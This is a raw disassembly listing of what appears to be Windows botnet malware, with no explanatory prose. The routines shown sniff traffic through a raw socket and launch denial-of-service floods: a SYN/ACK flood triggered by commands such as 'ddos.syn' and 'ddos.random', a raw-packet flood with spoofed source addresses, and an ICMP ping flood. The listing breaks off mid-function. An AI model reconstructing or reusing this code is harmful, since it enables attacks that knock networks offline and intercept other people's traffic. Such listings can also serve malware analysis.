var_113A4 = dword ptr -113A4h
Str = byte ptr -1138Ch
var_13B8 = byte ptr -13B8h
var_BB8 = byte ptr -0BB8h
var_3B8 = byte ptr -3B8h
var_3B7 = byte ptr -3B7h
Dest = byte ptr -2B8h
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = byte ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 113B8h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 25h
mov esi, eax
pop ecx
lea edi, [ebp+var_B8]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_3B7]
push 3Fh
mov [eax+90h], esi
pop ecx
xor eax, eax
mov [ebp+var_3B8], bl
push 0FFh
rep stosd
stosw
lea eax, [ebp+var_3B8]
mov [ebp+var_20], 2
push eax
mov [ebp+var_1E], bx
mov [ebp+var_1C], ebx
call dword_4E310C ; gethostname
lea eax, [ebp+var_3B8]
push eax
call dword_4E317C ; gethostbyname
movsx ecx, word ptr [eax+0Ah]
mov eax, [eax+0Ch]
push ecx ; Size
push dword ptr [eax] ; Src
lea eax, [ebp+var_8]
push eax ; Dst
call _memcpy
mov eax, [ebp+var_8]
add esp, 0Ch
mov [ebp+var_1C], eax
push ebx
push 3
push 2
call dword_4E3178 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_10], edi
jnz short loc_413187
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_413187: ; CODE XREF: sub_4130E1+9Bj
lea eax, [ebp+var_20]
push 10h
push eax
push edi
call dword_4E3124 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4131FD
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44CA64 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_4131D9
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_30] ; int
push eax ; int
lea eax, [ebp+var_B4]
push eax ; Str
push [ebp+var_B8] ; int
call sub_409D34
add esp, 14h
loc_4131D9: ; CODE XREF: sub_4130E1+D6j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
push edi
call dword_4E3190 ; closesocket
push [ebp+var_34]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_4131FD: ; CODE XREF: sub_4130E1+B6j
push ebx
lea eax, [ebp+var_24]
push ebx
push eax
push ebx
push ebx
lea eax, [ebp+var_C]
push 4
push eax
push 98000001h
push edi
mov [ebp+var_C], esi
call dword_4E30A4 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_413283
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44CA90 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_2C], ebx
jnz short loc_41325F
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_30] ; int
push eax ; int
lea eax, [ebp+var_B4]
push eax ; Str
push [ebp+var_B8] ; int
call sub_409D34
add esp, 14h
loc_41325F: ; CODE XREF: sub_4130E1+15Cj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
pop ecx
push edi
call dword_4E3190 ; closesocket
push [ebp+var_34]
call sub_40BA72
pop ecx
push ebx
call ds:dword_4F53A0 ; ExitThread
loc_413283: ; CODE XREF: sub_4130E1+13Cj
mov esi, 200h
loc_413288: ; CODE XREF: sub_4130E1+1D6j
; sub_4130E1+1FBj ...
mov edi, 0FFFFh
lea eax, [ebp+Dst]
push edi ; Size
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push ebx
push edi
push eax
push [ebp+var_10]
call dword_4E3110 ; recv
cmp [ebp+var_113AF], 6
jnz short loc_413288
push [ebp+var_113A4]
mov edi, ds:dword_4F5500
call edi ; htons
push [ebp+var_113A4+2]
movzx eax, ax
mov [ebp+arg_0], eax
call edi ; htons
cmp [ebp+arg_0], 6Eh
movzx edi, ax
jz short loc_413288
cmp [ebp+arg_0], 19h
jz short loc_413288
cmp edi, 6Eh
jz short loc_413288
cmp edi, 19h
jz short loc_413288
push [ebp+var_113AC]
call sub_412DD2
pop ecx
push dword ptr [eax]
call ds:dword_4F5504 ; inet_ntoa
push eax
lea eax, [ebp+var_13B8]
push offset aS_34 ; "%s"
push eax ; Dest
call _sprintf
push [ebp+var_113A8]
call sub_412DD2
add esp, 10h
push dword ptr [eax]
call ds:dword_4F5504 ; inet_ntoa
push eax
lea eax, [ebp+var_BB8]
push offset aS_35 ; "%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Str]
mov [ebp+var_4], ebx
push eax ; Str
call _strlen
add esp, 10h
test eax, eax
jle short loc_413386
loc_413352: ; CODE XREF: sub_4130E1+2A3j
mov eax, [ebp+var_4]
cmp [ebp+eax+Str], 0Dh
lea eax, [ebp+eax+Str]
jnz short loc_413369
mov byte ptr [eax], 20h
loc_413369: ; CODE XREF: sub_4130E1+283j
cmp byte ptr [eax], 0Ah
jnz short loc_413371
mov byte ptr [eax], 20h
loc_413371: ; CODE XREF: sub_4130E1+28Bj
inc [ebp+var_4]
lea eax, [ebp+Str]
push eax ; Str
call _strlen
cmp [ebp+var_4], eax
pop ecx
jl short loc_413352
loc_413386: ; CODE XREF: sub_4130E1+26Fj
cmp [ebp+arg_0], 50h
jz loc_413439
cmp edi, 50h
jz loc_413439
lea eax, [ebp+Str]
push eax ; Str
call sub_412DE1
test al, al
pop ecx
jz short loc_4133CD
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_44CAC8
jmp loc_413468
; ---------------------------------------------------------------------------
loc_4133CD: ; CODE XREF: sub_4130E1+2C7j
cmp edi, 50h
jz short loc_413439
lea eax, [ebp+Str]
push eax ; Str
call sub_412EF8
test al, al
pop ecx
jz short loc_413403
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_44CAFC
jmp short loc_413468
; ---------------------------------------------------------------------------
loc_413403: ; CODE XREF: sub_4130E1+300j
cmp edi, 50h
jz short loc_413439
lea eax, [ebp+Str]
push eax ; Str
call sub_412F6E
test al, al
pop ecx
jz short loc_413439
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_44CB30
jmp short loc_413468
; ---------------------------------------------------------------------------
loc_413439: ; CODE XREF: sub_4130E1+2A9j
; sub_4130E1+2B2j ...
lea eax, [ebp+Str]
push eax ; Str
call sub_412FF5
test al, al
pop ecx
lea eax, [ebp+Str]
push eax
jz short loc_4134A6
lea eax, [ebp+var_BB8]
push edi
push eax
lea eax, [ebp+var_13B8]
push [ebp+arg_0]
push eax
push offset asc_44CB64 ; "-"
loc_413468: ; CODE XREF: sub_4130E1+2E7j
; sub_4130E1+320j ...
lea eax, [ebp+Dest]
push esi ; Count
push eax ; Dest
call __snprintf
add esp, 20h
cmp [ebp+var_2C], ebx
jnz loc_413288
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_30] ; int
push eax ; int
lea eax, [ebp+var_B4]
push eax ; Str
push [ebp+var_B8] ; int
call sub_409D34
add esp, 14h
jmp loc_413288
; ---------------------------------------------------------------------------
loc_4134A6: ; CODE XREF: sub_4130E1+36Ej
call sub_41307C
test al, al
pop ecx
jz loc_413288
lea eax, [ebp+Str]
push eax
lea eax, [ebp+var_BB8]
push edi
push eax
push [ebp+arg_0]
lea eax, [ebp+var_13B8]
push eax
push offset unk_44CB9C
jmp short loc_413468
sub_4130E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4134D4 proc near ; DATA XREF: sub_401CC7+65C3o
Dest = byte ptr -494h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_20C = byte ptr -20Ch
var_18C = dword ptr -18Ch
Str = byte ptr -10Ch
Str1 = byte ptr -8Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 494h
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0A5h
mov esi, eax
lea edi, [ebp+var_294]
rep movsd
mov dword ptr [eax+290h], 1
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
lea eax, [ebp+var_18C]
push eax ; int
lea eax, [ebp+Str1]
push eax ; Str1
lea eax, [ebp+var_20C]
push eax ; Str
lea eax, [ebp+var_28C]
push eax ; int
call sub_4138C0
add esp, 14h
push eax
lea eax, [ebp+Dest]
push offset asc_44CBD4 ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 0Ch
cmp [ebp+var_8], esi
jnz short loc_413567
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_294] ; int
call sub_409D34
add esp, 14h
loc_413567: ; CODE XREF: sub_4134D4+71j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_290]
call sub_40BA72
pop ecx
pop ecx
push esi
call ds:dword_4F53A0 ; ExitThread
pop edi
pop esi
sub_4134D4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_413589(int,int,char *Str1,int,int)
sub_413589 proc near ; CODE XREF: sub_4138C0+40p
var_284 = byte ptr -284h
Dest = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
Dst = byte ptr -8Ch
Src = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = word ptr -58h
var_56 = word ptr -56h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Str1 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4E3068 ; WSAStartup
test eax, eax
jz short loc_4135C9
xor eax, eax
jmp loc_4138BC
; ---------------------------------------------------------------------------
loc_4135C9: ; CODE XREF: sub_413589+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4E319C ; WSASocketA
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_4138B4
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4E30D8 ; setsockopt
cmp eax, 0FFFFFFFFh
jz loc_4138AA
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4E30F8 ; htons
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4E30F8 ; htons
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4E30F8 ; htons
mov [ebp+var_12], ax
call _rand
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4E30F8 ; htons
push 12345678h
mov [ebp+var_14], ax
call dword_4E30F4 ; htonl
push offset aDdos_syn_0 ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_413699
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_4136ED
; ---------------------------------------------------------------------------
loc_413699: ; CODE XREF: sub_413589+105j
push offset aDdos_ack_0 ; "ddos.ack"
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4136B5
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_4136ED
; ---------------------------------------------------------------------------
loc_4136B5: ; CODE XREF: sub_413589+121j
push offset aDdos_random_0 ; "ddos.random"
push [ebp+Str1] ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4136ED
call _rand
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_4136ED: ; CODE XREF: sub_413589+10Ej
; sub_413589+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4E30F8 ; htons
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+Str1], ebx
call ds:dword_4F540C ; QueryPerformanceFrequency
lea eax, [ebp+var_1C]
push eax
call ds:dword_4F5408 ; QueryPerformanceCounter
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call __allmul
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_41373B: ; CODE XREF: sub_413589+2E2j
; sub_413589+2F0j
mov [ebp+var_4], bx
call _rand
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4E30F8 ; htons
mov [ebp+var_14], ax
call _rand
mov edi, eax
shl edi, 10h
call _rand
or edi, eax
push edi
call dword_4E30F8 ; htons
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4E30F4 ; htonl
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4E30F8 ; htons
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+Src], eax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_94]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AFCA
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_14]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AFCA
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi ; Size
push eax ; Src
lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4E315C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_41387E
add [ebp+Str1], eax
lea eax, [ebp+var_1C]
push eax
call ds:dword_4F5408 ; QueryPerformanceCounter
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_4138A7
jl loc_41373B
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_4138A7
jmp loc_41373B
; ---------------------------------------------------------------------------
loc_41387E: ; CODE XREF: sub_413589+2CBj
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44CC20 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_415C3F
add esp, 10h
jmp short loc_4138AA
; ---------------------------------------------------------------------------
loc_4138A7: ; CODE XREF: sub_413589+2E0j
; sub_413589+2EEj
mov ebx, [ebp+Str1]
loc_4138AA: ; CODE XREF: sub_413589+78j
; sub_413589+31Cj
push [ebp+var_20]
call dword_4E3190 ; closesocket
pop esi
loc_4138B4: ; CODE XREF: sub_413589+5Bj
call dword_4E3050 ; WSACleanup
mov eax, ebx
loc_4138BC: ; CODE XREF: sub_413589+3Bj
pop edi
pop ebx
leave
retn
sub_413589 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_4138C0(int,char *Str,char *Str1,int)
sub_4138C0 proc near ; CODE XREF: sub_4134D4+4Fp
arg_0 = dword ptr 4
Str = dword ptr 8
Str1 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40AE55
push [esp+10h+Str] ; Str
mov esi, eax
call _atoi
push [esp+14h+arg_C] ; Str
mov ebx, eax
call _atoi
mov edi, eax
call _rand
cdq
mov ecx, 200h
push edi ; int
idiv ecx
push ebx ; int
push [esp+20h+Str1] ; Str1
lea eax, [edx+esi+100h]
push eax ; int
push esi ; int
call sub_413589
add esp, 20h
test eax, eax
jnz short loc_41390F
push 1
pop eax
loc_41390F: ; CODE XREF: sub_4138C0+4Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_4138C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41391E proc near ; DATA XREF: sub_401CC7+67A2o
Dest = byte ptr -3BCh
var_1BC = dword ptr -1BCh
var_1B8 = byte ptr -1B8h
var_138 = byte ptr -138h
Str = byte ptr -0B8h
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 3BCh
push ebx
push esi
mov eax, [ebp+arg_0]
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_1BC]
push 1
pop ebx
push 0FFh
push 3
rep movsd
push 2
mov [eax+19Ch], ebx
call dword_4E3178 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4139B9
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44CC3C ; "-"
push eax ; Dest
call _sprintf
xor edi, edi
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_41399C
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409D34
add esp, 14h
loc_41399C: ; CODE XREF: sub_41391E+5Cj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_38]
call sub_40BA72
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_4139B9: ; CODE XREF: sub_41391E+3Aj
lea ecx, [ebp+var_C]
push 4
push ecx
xor edi, edi
push 2
push edi
push eax
mov [ebp+var_C], ebx
call dword_4E30D8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_413A30
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset asc_44CC68 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_24], edi
jnz short loc_413A13
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409D34
add esp, 14h
loc_413A13: ; CODE XREF: sub_41391E+D3j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_38]
call sub_40BA72
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_413A30: ; CODE XREF: sub_41391E+B3j
lea eax, [ebp+var_1B8]
push eax
call dword_4E3138 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_413A97
lea eax, [ebp+Dest]
push offset asc_44CC98 ; "-"
push eax ; Dest
call _sprintf
cmp [ebp+var_24], edi
pop ecx
pop ecx
jnz short loc_413A7A
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409D34
add esp, 14h
loc_413A7A: ; CODE XREF: sub_41391E+13Aj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_38]
call sub_40BA72
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_413A97: ; CODE XREF: sub_41391E+122j
push 10h ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push edi
call dword_4E30F8 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_1B8]
push eax
call dword_4E3138 ; inet_addr
mov esi, ds:dword_4F537C
mov [ebp+var_18], eax
mov [ebp+arg_0], edi
call esi ; GetTickCount
mov [ebp+var_8], eax
loc_413AD5: ; CODE XREF: sub_41391E+2E8j
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_30]
ja loc_413C80
push 41Ch
mov byte_4E5EB0, 45h
call dword_4E30F8 ; htons
cmp [ebp+var_2C], edi
mov word_4E5EB2, ax
mov word_4E5EB4, bx
mov word_4E5EB6, di
mov byte_4E5EB8, 80h
mov byte_4E5EB9, bl
mov word_4E5EBA, di
jz short loc_413B5B
call _rand
mov ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
shl ebx, 8
call _rand
add ebx, eax
push 1
mov dword_4E5EBC, ebx
pop ebx
jmp short loc_413B73
; ---------------------------------------------------------------------------
loc_413B5B: ; CODE XREF: sub_41391E+20Bj
push [ebp+var_1BC]
call sub_40AF71
pop ecx
push eax
call dword_4E3138 ; inet_addr
mov dword_4E5EBC, eax
loc_413B73: ; CODE XREF: sub_41391E+23Bj
mov eax, [ebp+var_18]
mov dword_4E5EC0, eax
call _rand
cdq
mov ecx, 100h
idiv ecx
mov byte_4E5EC4, dl
call _rand
cdq
mov ecx, 100h
idiv ecx
mov byte_4E5EC5, dl
call _rand
cdq
mov ecx, 0F0h
push 400h ; Size
idiv ecx
mov word_4E5EC6, di
mov word_4E5ECA, bx
inc edx
mov word_4E5EC8, dx
call _rand
cdq
mov ecx, 0FFh
idiv ecx
push edx ; Val
push offset dword_4E5ECC ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+Dst]
push 10h
push eax
push edi
push 41Ch
push offset byte_4E5EB0
push [ebp+var_4]
call dword_4E315C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_413C0B
inc [ebp+arg_0]
jmp loc_413AD5
; ---------------------------------------------------------------------------
loc_413C0B: ; CODE XREF: sub_41391E+2E3j
push [ebp+var_4]
call dword_4E3190 ; closesocket
call dword_4E308C ; WSAGetLastError
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
push offset asc_44CCB8 ; "-"
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
cmp [ebp+var_24], edi
jnz short loc_413C63
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409D34
add esp, 14h
loc_413C63: ; CODE XREF: sub_41391E+323j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_38]
call sub_40BA72
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_413C80: ; CODE XREF: sub_41391E+1C8j
push [ebp+var_4]
call dword_4E3190 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_30]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_1B8]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_138]
push eax
lea eax, [ebp+Dest]
push offset asc_44CD00 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_24], edi
jnz short loc_413CE8
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_28] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_1BC] ; int
call sub_409D34
add esp, 14h
loc_413CE8: ; CODE XREF: sub_41391E+3A8j
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_38]
call sub_40BA72
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
sub_41391E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413D05 proc near ; DATA XREF: sub_401CC7+5590o
var_10320 = byte ptr -10320h
Dest = byte ptr -344h
var_144 = dword ptr -144h
Str = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
Dst = byte ptr -20h
var_18 = dword ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 10320h
call __alloca_probe
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp+var_144]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call dword_4E3080 ; IcmpCreateFile
mov [ebp+arg_0], eax
lea eax, [ebp+var_C0]
push eax
call dword_4E3138 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_413D60
lea eax, [ebp+var_C0]
push eax
call dword_4E317C ; gethostbyname
cmp eax, ebx
jz short loc_413D66
loc_413D60: ; CODE XREF: sub_413D05+48j
cmp [ebp+arg_0], 0FFFFFFFFh
jnz short loc_413DC3
loc_413D66: ; CODE XREF: sub_413D05+59j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dest]
push offset asc_44CD4C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413DA6
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_144] ; int
call sub_409D34
add esp, 14h
loc_413DA6: ; CODE XREF: sub_413D05+7Fj
lea eax, [ebp+Dest]
push eax
call sub_415C3F
push [ebp+var_30]
call sub_40BA72
pop ecx
pop ecx
push edi
call ds:dword_4F53A0 ; ExitThread
loc_413DC3: ; CODE XREF: sub_413D05+5Fj
cmp eax, ebx
jz short loc_413DD3
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_4], eax
jmp short loc_413DD6
; ---------------------------------------------------------------------------
loc_413DD3: ; CODE XREF: sub_413D05+C0j
mov [ebp+var_4], esi
loc_413DD6: ; CODE XREF: sub_413D05+CCj
push 1Ch ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
or [ebp+var_18], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp+var_3C], eax
jle short loc_413DF6
mov [ebp+var_3C], eax
loc_413DF6: ; CODE XREF: sub_413D05+ECj
cmp [ebp+var_38], edi
jge short loc_413DFE
mov [ebp+var_38], edi
loc_413DFE: ; CODE XREF: sub_413D05+F4j
xor esi, esi
cmp [ebp+var_40], ebx
jle short loc_413E2B
loc_413E05: ; CODE XREF: sub_413D05+124j
push [ebp+var_38]
lea eax, [ebp+Dst]
push 1Ch
push eax
push ebx
lea eax, [ebp+var_10320]
push [ebp+var_3C]
push eax
push [ebp+var_4]
push [ebp+arg_0]
call dword_4E3010 ; IcmpSendEcho
inc esi
cmp esi, [ebp+var_40]
jl short loc_413E05
loc_413E2B: ; CODE XREF: sub_413D05+FEj
push [ebp+arg_0]
call dword_4E31B0 ; IcmpCloseHandle
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+Dest]
push offset asc_44CD74 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], ebx
jnz short loc_413E74
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_144] ; int
call sub_409D34
add esp, 14h
loc_413E74: ; CODE XREF: sub_413D05+14Dj
lea eax, [ebp+Dest]
push eax
